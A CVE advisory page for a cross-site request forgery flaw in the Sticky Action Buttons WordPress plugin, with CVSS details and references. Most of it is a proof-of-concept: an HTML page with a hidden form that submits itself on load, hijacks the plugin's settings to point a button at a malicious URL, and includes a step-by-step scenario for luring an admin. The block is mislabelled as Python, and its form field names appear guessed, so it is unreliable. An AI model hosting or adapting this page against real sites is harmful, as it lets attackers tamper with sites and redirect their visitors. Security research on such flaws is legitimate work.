CVE-2025-14465

Description

The Sticky Action Buttons plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1. This is due to missing or incorrect nonce validation on the sabs_options_page_form_submit() function. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Sticky Action Buttons plugin for WordPress <= 1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-14465 -->
<!-- This PoC demonstrates how an attacker can forge a request to modify plugin settings -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-14465</title>
</head>
<body>
    <h1>CVE-2025-14465 CSRF PoC</h1>
    <p>Sticky Action Buttons Plugin Settings Modification</p>
    
    <!-- Auto-submit form that forges admin settings update request -->
    <form id="csrfForm" action="http://target-wordpress-site/wp-admin/admin.php?page=sticky-action-buttons" method="POST" style="display:none;">
        <!-- Forged plugin settings -->
        <input type="hidden" name="sabs_enabled" value="1">
        <input type="hidden" name="sabs_button_text" value="Malicious Button">
        <input type="hidden" name="sabs_button_url" value="https://malicious-site.com">
        <input type="hidden" name="sabs_position" value="bottom-right">
        <input type="hidden" name="sabs_options_page_form_submit" value="1">
        <!-- Missing or bypassed nonce validation -->
    </form>
    
    <script>
        // Auto-submit on page load
        document.getElementById('csrfForm').submit();
        
        // Alternative: Trigger on click
        // document.addEventListener('click', function() {
        //     document.getElementById('csrfForm').submit();
        // });
    </script>
    
    <p>If you see this message, the form has been submitted.</p>
</body>
</html>

<!-- Attack Scenario:
1. Attacker creates a malicious page containing the above PoC
2. Lures a logged-in WordPress admin to visit the page or click a link
3. Browser automatically submits the forged request to the target site
4. Plugin settings are modified without admin's consent
5. Attacker may redirect users to malicious sites or disrupt site functionality
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14465
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14465
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14465/
[4] VulDB https://vuldb.com/cve/CVE-2025-14465
[5] https://plugins.trac.wordpress.org/browser/sticky-action-buttons/tags/1.0/sticky-action-buttons.php#L105
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/82b243c7-5b58-4765-9083-4660c0b479cc?source=cve

Raw JSON Data

JSON

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